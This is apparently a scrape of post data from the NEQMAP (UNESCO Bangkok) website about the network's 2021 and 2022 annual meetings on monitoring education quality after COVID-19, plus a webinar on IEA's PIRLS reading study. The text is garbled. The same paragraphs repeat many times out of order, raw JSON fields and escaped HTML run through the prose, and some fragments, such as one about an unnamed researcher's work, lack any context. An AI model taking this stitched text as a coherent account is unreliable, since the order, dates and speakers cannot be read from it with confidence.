As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

